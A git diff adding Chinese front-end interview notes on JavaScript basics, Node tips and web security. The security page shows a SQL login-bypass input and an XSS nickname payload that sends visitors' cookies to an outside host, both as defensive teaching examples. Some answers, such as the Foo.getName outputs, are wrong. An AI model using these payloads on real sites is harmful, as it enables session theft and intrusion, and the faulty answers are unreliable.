创建一个空对象,并且this变量引用该对象,同时还继承了 该函数的原型
|
||||
属性和方法被加入到this引用的对象中
|
||||
新创建的对象由this所引用,并且最后隐式的返回this
|
||||
```
|
||||
|
||||
|
||||
|
||||
### typeof 返回哪些数据类型
|
||||
|
||||
|
||||
- obj num fun bool undefined
|
||||
|
||||
|
||||
|
||||
### 3种强制类型转换两种隐式类型转换
|
||||
|
||||
|
||||
- parseInt parseFloat number
|
||||
- == - ===
|
||||
|
||||
|
||||
|
||||
### 数组方法pop() push() unshift() shift()
|
||||
|
||||
|
||||
- push() 尾部添加 pop() 尾部删除
|
||||
- unshift() 头部添加 shift() 头部删除
|
||||
|
||||
|
||||
|
||||
### ajax请求 get 和 post 的区别
|
||||
|
||||
|
||||
- 一个在 url 后面,一个放在虚拟载体里面
|
||||
- 有大小限制
|
||||
- 安全问题
|
||||
- 应用不同
|
||||
|
||||
|
||||
|
||||
### call 和 apply 的区别
|
||||
|
||||
|
||||
- object.call(this, obj1,obj2,obj3)
|
||||
- object.apply(this, argument)
|
||||
|
||||
|
||||
|
||||
### ajax 请求时,如何解析 json 数据
|
||||
|
||||
|
||||
- 使用eval parse,介于安全性考虑 使用parse 更靠谱
|
||||
- eval 可以解析任何字符串,parse只解析json格式的字符串
|
||||
|
||||
|
||||
|
||||
### 闭包是什么?
|
||||
|
||||
|
||||
- 闭包就是能够读取其他函数内部变量的函数
|
||||
|
||||
|
||||
|
||||
### 添加 删除 替换 插入到某个节点的方法
|
||||
|
||||
|
||||
- obj.appendChild()
|
||||
- obj.innersetBefore()
|
||||
- obj.replaceChild()
|
||||
- obj.removeChild()
|
||||
|
||||
|
||||
|
||||
### javascript 同源策略
|
||||
|
||||
|
||||
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
|
||||
|
||||
|
||||
|
||||
### 编写一个 b 继承 a 的方法
|
||||
|
||||
|
||||
```javascript
|
||||
function A(name) {
|
||||
this.name = name;
|
||||
this.sayHello = function(){alert(this.name+ "say hello!")}
|
||||
}
|
||||
|
||||
function B(name, id) {
|
||||
this.temp = A
|
||||
this.temp(name)
|
||||
delete this.temp
|
||||
this.id = id
|
||||
this.checkId = function(ID) {alert(this.id == ID)}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 如何阻止事件冒泡和默认事件
|
||||
|
||||
|
||||
```javascript
|
||||
function stopBubble(e) {
|
||||
if (e && e.stopPropagation) {
|
||||
e.stopPropgation ()
|
||||
} else {
|
||||
window.event.cancelBubble = true
|
||||
}
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 谈谈this对象的理解
|
||||
|
||||
|
||||
- this 是 js 的一个关键字, 随着函数使用场合不同,this的值会发生变化
|
||||
- 但是有一个原则,this 指向的就是调用函数的那个对象
|
||||
- this 一般情况下: 是指全局对象global, 如果作为方法调用,就指向这个对象
|
||||
|
||||
|
||||
|
||||
### 简单讲下 node 的使用场景
|
||||
|
||||
|
||||
- 高并发,聊天,实时消息推送
|
||||
|
||||
|
||||
|
||||
### node 的优点和缺点提出自己的看法
|
||||
|
||||
|
||||
- 优点: node是基于时间驱动和无阻塞的,所以非常适合处理并发请求,因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多,与node代理服务器交互的客户端代码也是用js写的,用的相同的语言,这感觉前后端非常亲切和美妙
|
||||
- 缺点: node是一个相对比较新的开源项目,所以不太稳定,它总是在变,而且缺少足够多的第三方库的支持
|
||||
|
||||
|
||||
### `location.replace()`与`location.assign()`区别
|
||||
```html
|
||||
location.replace() 的 url 不会出现在 history 中
|
||||
```
|
||||
|
||||
|
||||
### AMD CMD CommonJS
|
||||
|
||||
|
||||
#### Common.js
|
||||
```html
|
||||
主要是服务端,前期的nodejs采用了这种规范。module.exports或exports负责对外暴漏数据,require来引入
|
||||
|
||||
<!--a.js-->
|
||||
module.exports = {
|
||||
name: '四大名将'
|
||||
}
|
||||
<!--也可以用exports导出-->
|
||||
<!--export.name = '四大名将'-->
|
||||
|
||||
<!--b.js-->
|
||||
const res = require('./a.js')
|
||||
console.log(res.name) // 四大名将
|
||||
```
|
||||
|
||||
|
||||
#### AMD: 加载完成后执行
|
||||
```html
|
||||
客户端加载时需要等待,可能存在假死情况,鉴于浏览器的特殊情况,AMD规范出来了,
|
||||
它采用异步方式加载模块定义的所有依赖,在依赖加载完成后再执行回调函数。
|
||||
|
||||
<!-- 定义模块 -->
|
||||
<!-- AMD中require的模块会先加载完成 依赖前置 提前执行 -->
|
||||
define('module', ['dep1', 'dep2'], function(dep1, dep2){
|
||||
function foo(){
|
||||
dep1.doSomething();
|
||||
dep2.doSomething();
|
||||
}
|
||||
return {
|
||||
foo : foo
|
||||
};
|
||||
})
|
||||
|
||||
<!-- 数组中声明需要加载的模块,可以是模块名、js文件路径 -->
|
||||
<!-- 两个参数:加载的模块,加载成功后的回调函数 -->
|
||||
require(['module'], function(module){
|
||||
module.foo()
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
#### CMD:require 到依赖才执行
|
||||
```html
|
||||
CMD规范在2011年由seaJS提出,CMD规范和AMD规范类似,主要区别是CMD规范是就近加载依赖,
|
||||
延迟执行,只有到require时依赖才执行。
|
||||
|
||||
<!-- a.js -->
|
||||
define(function(require, exports, module) {
|
||||
function foo(){
|
||||
<!-- require的模块此时才会执行 依赖就近 延迟执行 而AMD中依赖是前置的 一开始就全都执行完毕了 -->
|
||||
var dep1 = require('dep1')
|
||||
dep1.doSomething();
|
||||
}
|
||||
<!--暴漏给外部调用-->
|
||||
exports.foo = foo
|
||||
|
||||
/** return或者exports都行
|
||||
return {
|
||||
foo : foo
|
||||
};
|
||||
**/
|
||||
});
|
||||
<!-- b.js -->
|
||||
seajs.use("./a", function(a){
|
||||
a.foo()
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
#### DOM 操作
|
||||
```html
|
||||
// 创建节点
|
||||
createDocumentFragment()
|
||||
createElement()
|
||||
createTextNode()
|
||||
|
||||
// 添加 移除 替换 插入
|
||||
appendChild()
|
||||
removeChild()
|
||||
replaceChild()
|
||||
insertBefore()
|
||||
|
||||
// 查找
|
||||
getElementsByTagName()
|
||||
getElementsByName()
|
||||
getElementsByClassName()
|
||||
getElementById()
|
||||
querySelector()
|
||||
querySelectorAll()
|
||||
```
|
||||
|
||||
|
||||
### JS设置css样式的几种方式
|
||||
```html
|
||||
/* 1.直接设置style属性 */
|
||||
element.style.height = '100px';
|
||||
|
||||
/* 2.直接设置属性 */
|
||||
element.setAttribute('height', '100px');
|
||||
|
||||
/* 3.使用setAttribute设置style属性 */
|
||||
element.setAttribute('style', 'height: 100px !important');
|
||||
|
||||
/* 4.使用setProperty设置属性,通过第三个参数设置important */
|
||||
element.style.setProperty('height', '300px', 'important');
|
||||
|
||||
/* 5.设置cssText */
|
||||
element.style.cssText += 'height: 100px !important';
|
||||
```
|
||||
|
||||
|
||||
### 阻止默认行为
|
||||
```html
|
||||
function stopDefault( e ) {
|
||||
// 阻止默认浏览器动作(W3C)
|
||||
if ( e && e.preventDefault ) {
|
||||
e.preventDefault();
|
||||
} else {
|
||||
// IE中阻止函数器默认动作的方式
|
||||
window.event.returnValue = false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 阻止冒泡
|
||||
```html
|
||||
function stopBubble(e) {
|
||||
// 如果提供了事件对象,则这是一个非IE浏览器
|
||||
if ( e && e.stopPropagation ) {
|
||||
// 因此它支持W3C的stopPropagation()方法
|
||||
e.stopPropagation();
|
||||
} else {
|
||||
// 否则,我们需要使用IE的方式来取消事件冒泡
|
||||
window.event.cancelBubble = true;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Ajax交互过程
|
||||
```html
|
||||
创建XMLHttpRequest对象,也就是创建一个异步调用对象.
|
||||
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
|
||||
设置响应HTTP请求状态变化的函数.
|
||||
发送HTTP请求.
|
||||
获取异步调用返回的数据.
|
||||
使用JavaScript和DOM实现局部刷新.
|
||||
```
|
||||
### 考察知识点最广的JS面试题
|
||||
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
|
||||
```html
|
||||
function Foo() {
|
||||
getName = function () { alert(1); }
|
||||
return this;
|
||||
}
|
||||
Foo.getName = function () { alert(2); }
|
||||
Foo.prototype.getName = function () { alert(3); }
|
||||
var getName = function () { alert(4); }
|
||||
function getName () { alert(5); }
|
||||
|
||||
|
||||
/* 写出输出 */
|
||||
Foo.getName(); 3
|
||||
getName(); 5
|
||||
Foo().getName(); 3
|
||||
getName();
|
||||
new Foo.getName();
|
||||
new Foo().getName();
|
||||
new new Foo().getName();
|
||||
```
|
||||
|
||||
|
||||
### JS数组深浅拷贝
|
||||
#### 浅拷贝
|
||||
```javascript
|
||||
// slice 实现
|
||||
var arr = ['old', 1, true, null, undefined];
|
||||
|
||||
var new_arr = arr.slice();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
|
||||
// concat 实现
|
||||
var arr = ['old', 1, true, null, undefined];
|
||||
|
||||
var new_arr = arr.concat();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
```
|
||||
|
||||
|
||||
#### 深拷贝
|
||||
```javascript
|
||||
// 简单版:不能拷贝 函数、undefined、symbol 、循环引用的对象
|
||||
var arr = ['old', 1, true, ['old1', 'old2'], {old: 1}];
|
||||
|
||||
var new_arr = JSON.parse(JSON.stringify(arr));
|
||||
|
||||
new_arr[0] = 'new';
|
||||
new_arr[3][0] = 'new1';
|
||||
|
||||
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}]
|
||||
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}]
|
||||
|
||||
// 复杂版,可以完美拷贝
|
||||
var deepCopy = function (obj) {
|
||||
if (typeof obj !== 'object') {
|
||||
return
|
||||
}
|
||||
var newObj = obj instanceof Array ? [] : {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
|
||||
}
|
||||
}
|
||||
return newObj
|
||||
}
|
||||
```
|
||||
###
|
||||
### 数组去重
|
||||
```javascript
|
||||
// filter + indexOf
|
||||
function unique (arr) {
|
||||
var res = arr.filter(function (item, index, array) {
|
||||
return array.indexOf(item) === index;
|
||||
})
|
||||
return res;
|
||||
}
|
||||
|
||||
//filter + sort
|
||||
function unique (arr) {
|
||||
return arr.concat().sort().filter(function (item, index, array) {
|
||||
return !index || item !== array[index - 1];
|
||||
})
|
||||
}
|
||||
|
||||
// ES6
|
||||
function uniqu3 (arr) {
|
||||
return [... new Set(arr)];
|
||||
}
|
||||
```
|
||||
###
|
||||
### 找出数组中的最大值
|
||||
```javascript
|
||||
// reduce
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (prev, next) {
|
||||
return Math.max(prev, next)
|
||||
}
|
||||
|
||||
console.log(arr.reduce(max));
|
||||
|
||||
//apply
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
console.log(Math.max.apply(null, arr));
|
||||
|
||||
//ES6
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (arr) {
|
||||
return Math.max(...arr);
|
||||
}
|
||||
|
||||
console.log(max(arr));
|
||||
```
|
||||
|
||||
|
||||
### 数组扁平化
|
||||
```javascript
|
||||
var arr = [1, [2, [3, 4]]];
|
||||
|
||||
function flatten(arr) {
|
||||
|
||||
while (arr.some(item => Array.isArray(item))) {
|
||||
arr = [].concat(...arr);
|
||||
}
|
||||
|
||||
return arr;
|
||||
}
|
||||
|
||||
console.log(flatten(arr))
|
||||
```
|
||||
|
||||
|
||||
### 数据的基本类型
|
||||
```javascript
|
||||
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
|
||||
```
|
||||
|
||||
|
||||
### 数据类型判断
|
||||
> 关键语句:Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
|
||||
|
||||
```javascript
|
||||
var class2type = {};
|
||||
|
||||
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => {
|
||||
class2type['[object ' + item + ']'] = item.toLowerCase();
|
||||
})
|
||||
|
||||
function type (obj) {
|
||||
return typeof obj === 'object' || typeof obj === 'function' ?
|
||||
class2type[{}.toString.call(obj)] || 'object' : typeof obj;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### typeof 和 instanceof 的区别?
|
||||
```javascript
|
||||
typeof 在原始类型中无法判断 null,在对象类型中只能判断 object 和function
|
||||
|
||||
instanceof 可以判断对象类型的
|
||||
```
|
||||
|
||||
|
||||
### 防抖
|
||||
```javascript
|
||||
/*
|
||||
* func:需要调用的函数
|
||||
* wait: 防抖时间
|
||||
* immediate:布尔值,是否立即执行
|
||||
**/
|
||||
|
||||
var debounce = function (func, wait, immediate) {
|
||||
var timeout;
|
||||
return function () {
|
||||
var context = this;
|
||||
var args = arguments;
|
||||
|
||||
if (timeout) clearTimeout(timeout);
|
||||
|
||||
if (immediate) { // 是否立即执行func
|
||||
var callNow = !timeout;
|
||||
timeout = setTimeout(function () {
|
||||
timeout = null;
|
||||
}, wait);
|
||||
|
||||
if (callNow) {
|
||||
func.apply(context, args);
|
||||
}
|
||||
} else {
|
||||
timeout = setTimeout(function () {
|
||||
func.apply(context, args);
|
||||
}, wait);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 四则运算符
|
||||
|
||||
- 运算中其中一方为字符串,那么就会把另一方也转换为字符串
|
||||
- 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
|
||||
|
||||
|
||||
|
||||
### this
|
||||
|
||||
1. 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方,this 一定是 window
|
||||
1. 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this,所以在这个场景下 foo 函数中的 this 就是 obj 对象
|
||||
1. 对于 new 的方式来说,this 被永远绑定在了 c 上面,不会被任何方式改变 this
|
||||
|
||||
|
||||
|
||||
#### 箭头函数
|
||||
|
||||
1. this 指向只取决于包裹箭头函数的第一个普通函数的 this
|
||||
1. 无法改变箭头函数的指向
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
### ‘==’ 和 ‘===’ 有什么区别
|
||||
|
||||
|
||||
== 对比类型不一样会进行类型转换,而 ’===‘ 不会,下图为 ’==‘ 的判断步骤:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 什么是闭包?
|
||||
定义:函数 A 中有一个函数 B,函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
|
||||
|
||||
|
||||
#### 循环中使用闭包解决 `var` 定义函数的问题
|
||||
```javascript
|
||||
方法1
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
;(function(j) {
|
||||
setTimeout(function timer() {
|
||||
console.log(j)
|
||||
}, j * 1000)
|
||||
})(i)
|
||||
}
|
||||
|
||||
方法2:使用 setTimeout 的第二个参数
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
setTimeout(
|
||||
function timer(j) {
|
||||
console.log(j)
|
||||
},
|
||||
i * 1000,
|
||||
i
|
||||
)
|
||||
}
|
||||
|
||||
方法3:使用 let
|
||||
```
|
||||
|
||||
|
||||
### 如何理解原型?如何理解原型链?
|
||||
|
||||
1. 每一个对象都有__proto__这是浏览器早期为了让我们能访问 prototype。
|
||||
1. _ _proto__ 的 constructor(构造函数)里面有 prototype。
|
||||
1. _ _proto__ 下面有几个方法:hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
|
||||
1. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
|
||||
|
||||

|
||||
|
||||
|
||||
## 十大错误
|
||||
### 1. Uncaught TypeError: Cannot read property
|
||||
|
||||
|
||||
发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。
|
||||
|
||||
|
||||
### 2. TypeError: ‘undefined’ is not an object
|
||||
|
||||
|
||||
这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。
|
||||
|
||||
|
||||
### 3. TypeError: null is not an object
|
||||
|
||||
|
||||
这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。
|
||||
|
||||
|
||||
> 在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===
|
||||
|
||||
|
||||
|
||||
### 4. (unknown): Script error
|
||||
|
||||
|
||||
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
|
||||
|
||||
|
||||
### 5. TypeError: Object doesn’t support property
|
||||
|
||||
|
||||
这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。
|
||||
|
||||
|
||||
### 6. TypeError: ‘undefined’ is not a function
|
||||
|
||||
|
||||
当您调用未定义的函数时,这是 Chrome 中产生的错误。
|
||||
|
||||
|
||||
### 7. Uncaught RangeError: Maximum call stack
|
||||
|
||||
|
||||
这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。
|
||||
|
||||
|
||||
### 8. TypeError: Cannot read property ‘length’
|
||||
|
||||
|
||||
这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。
|
||||
|
||||
|
||||
### 9. Uncaught TypeError: Cannot set property
|
||||
|
||||
|
||||
当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。
|
||||
|
||||
|
||||
### 10. ReferenceError: event is not defined
|
||||
|
||||
|
||||
当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
|
121
docs/interview/performance.md
Normal file
121
docs/interview/performance.md
Normal file
@ -0,0 +1,121 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 性能
|
||||
|
||||
## 1. 不要用 Eval
|
||||
|
||||
|
||||
eval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。
|
||||
|
||||
|
||||
## 2. 使用 strict 模式
|
||||
|
||||
|
||||
严格模式下的变量声明会抛出一些隐藏的错误。
|
||||
|
||||
|
||||
```javascript
|
||||
'use strict'
|
||||
var obj = {
|
||||
a: '1',
|
||||
a: '2'
|
||||
}
|
||||
// 抛出错误 syntax error
|
||||
```
|
||||
|
||||
|
||||
## 3. 使用 Eslint 测试代码规范
|
||||
|
||||
|
||||
可以使我们早期捕获一些 bug,并及时修正。
|
||||
|
||||
|
||||
## 4. 全面测试
|
||||
|
||||
|
||||
测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。
|
||||
|
||||
|
||||
## 5. Unix 下不要直接使用 sudo node app.js
|
||||
|
||||
|
||||
这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。
|
||||
|
||||
|
||||
## 6. 避免 shell command 注入
|
||||
|
||||
|
||||
```-t
|
||||
child_process.exec('ls', function (err, data) {
|
||||
console.log(data);
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。
|
||||
|
||||
|
||||
> 为了避免这个问题,我们可以使用:child_process.execFile。
|
||||
|
||||
|
||||
|
||||
## 7. 临时文件
|
||||
|
||||
|
||||
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
|
||||
|
||||
|
||||
> 使用 Streams。
|
||||
|
||||
|
||||
|
||||
## 8. 加密 Web 应用
|
||||
|
||||
|
||||
用 https 代替 http,请求的过程可以添加签名头。
|
||||
|
||||
|
||||
## 9. Reflected Cross Site Scripting
|
||||
|
||||
|
||||
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
|
||||
|
||||
|
||||
```javascript
|
||||
//用户输入的数据中带脚本,如果不做处理,会被执行。
|
||||
Im human <script>alert('I‘m hacker')<script>
|
||||
```
|
||||
|
||||
|
||||
> 处理方式:1. 对插入的数据进行验证,除去 HTML。
|
||||
|
||||
|
||||
|
||||
## 10. 看好你的 cookie
|
||||
|
||||
|
||||
默认情况下,cookie 可以通过 js 在同一个域中读取,这就有可能会被跨站点脚本攻击,而且可能被第三方库读取。为了处理这种情况,我们可以在 cookies 上使用 HTTPOnly,这个标签可以让 js 无法读取。
|
||||
|
||||
|
||||
## 11. 内容安全策略(CSP)
|
||||
|
||||
|
||||
附加的安全层,可以检测和缓解某类攻击,例如:XSS、数据注入。启用方法如下:
|
||||
|
||||
|
||||
```-t
|
||||
Content-Security-Policy: default-src 'self' *.mydomain.com
|
||||
```
|
||||
|
||||
|
||||
## 12. Cross-Site Request Forgery
|
||||
|
||||
|
||||
跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
|
202
docs/interview/safe.md
Normal file
202
docs/interview/safe.md
Normal file
@ -0,0 +1,202 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 安全
|
||||
|
||||
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
|
||||
1. 将需要提交的数据经过 filter 即可,如下:
|
||||
|
||||
|
||||
|
||||
```javascript
|
||||
浏览器自带转换为字符串
|
||||
var newValue = safetools.encode(value)
|
||||
|
||||
正则加密(可能有兼容)
|
||||
var newValue = safetools.reEncode(value)
|
||||
|
||||
正则解密(可能有兼容)
|
||||
var newValue = safetools.reDecode(value)
|
||||
```
|
||||
|
||||
|
||||
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
|
||||
|
||||
|
||||
|
||||
## 常见的攻击手段
|
||||
|
||||
|
||||
### 1. SQL 脚本注入攻击于与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
|
||||
|
||||
|
||||
|
||||
#### 场景
|
||||
|
||||
|
||||
语句
|
||||
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||||
```
|
||||
|
||||
|
||||
如果恶意填入:
|
||||
|
||||
|
||||
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
|
||||
|
||||
|
||||
|
||||
既可实现无密码登录,美滋滋吧...
|
||||
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
|
||||
|
||||
|
||||
### 2. XSS 攻击与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
|
||||
> XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
|
||||
|
||||
|
||||
|
||||
#### 类型
|
||||
|
||||
|
||||
##### 简单分类
|
||||
|
||||
|
||||
1. 反射型xss
|
||||
|
||||
|
||||
|
||||
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
|
||||
2. 储存型xss
|
||||
|
||||
|
||||
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
|
||||
|
||||
|
||||
##### 复杂分类
|
||||
|
||||
|
||||
1. client 型
|
||||
1. server 型
|
||||
|
||||
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 编码
|
||||
|
||||
|
||||
|
||||
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
|
||||
|
||||
|
||||
|
||||
- 过滤
|
||||
|
||||
|
||||
|
||||
> 有的语句并不完全依赖<>标签,例如src="javascript:alert(1);"
|
||||
|
||||
|
||||
|
||||
- 校正
|
||||
|
||||
|
||||
|
||||
> 这个照理来说应该后端处理,目前没碰到这种场景
|
||||
|
||||
|
||||
|
||||
```javascript
|
||||
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
|
||||
var starNickName = '${starNickname}'
|
||||
```
|
||||
|
||||
|
||||
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
|
||||
|
||||
|
||||
```javascript
|
||||
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
|
||||
```
|
||||
|
||||
|
||||
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
|
||||
|
||||
|
||||
- CSP
|
||||
|
||||
|
||||
|
||||
```html
|
||||
在头部加入:
|
||||
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
|
||||
```
|
||||
|
||||
|
||||
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
|
||||
|
||||
|
||||
> 注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
|
||||
|
||||
|
||||
|
||||
### 3. CSRF
|
||||
|
||||
|
||||
> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 验证码
|
||||
|
||||
|
||||
|
||||
在请求的同时,带个token,或者验证码
|
||||
|
||||
|
||||
- Referer Check
|
||||
|
||||
|
||||
|
||||
这个可以伪造...但加入更保险
|
||||
|
||||
|
||||
> 注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
|
||||
|
||||
|
||||
|
||||
### 小结
|
||||
|
||||
|
||||
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。
|
295
docs/tools/git.md
Normal file
295
docs/tools/git.md
Normal file
@ -0,0 +1,295 @@
|
||||
---
|
||||
nav:
|
||||
title: 工具
|
||||
path: /tools
|
||||
group:
|
||||
title: 💊 git
|
||||
order: 1
|
||||
---
|
||||
|
||||
# 💊 git
|
||||
|
||||
## 1. 提交格式管理
|
||||
模板格式:
|
||||
```json
|
||||
<type>(<scope>): <subject>
|
||||
<BLANK LINE>
|
||||
<body>
|
||||
<BLANK LINE>
|
||||
<footer>
|
||||
```
|
||||
>
|
||||
|
||||
> 例子:
|
||||
|
||||
```
|
||||
feat(changelog): 新增了一个按钮组件
|
||||
|
||||
详细描述新增的内容...
|
||||
|
||||
[不兼容变更: 影响内容的所有情况...]
|
||||
|
||||
[close #43f32]
|
||||
|
||||
[revert: feat(pencil): add 'graphiteWidth' option
|
||||
This reverts commit 667ecc1654a317a13331b17617d973392f415f02.]
|
||||
```
|
||||
|
||||
### 1.1 type
|
||||
指此次上传的类型。
|
||||
|
||||
- **build**:影响构建系统或外部依赖的改变
|
||||
- **ci**:改变CI配置文件和脚本
|
||||
- **docs**:只改变文档
|
||||
- **feat**:一个新功能
|
||||
- **fix**:一个bug fix
|
||||
- **perf**:代码更改,提高了性能
|
||||
- **refactor**:代码重构
|
||||
- **style**:不影响代码含义,只是代码风格的改变
|
||||
- **test**:添加缺失的测试或修正现有的测试
|
||||
- **wip**:移除文件或者代码
|
||||
|
||||
|
||||
|
||||
### 1.2 scope
|
||||
指被影响的内容,这样能方便阅读根据提交信息生成的更新日志。
|
||||
|
||||
|
||||
### 1.3 subject
|
||||
是这次提交的一次简短描述,一行不超过 100 个字符。
|
||||
> 尽量包含主谓宾结构,不要单词。
|
||||
|
||||
|
||||
|
||||
### 1.4 body
|
||||
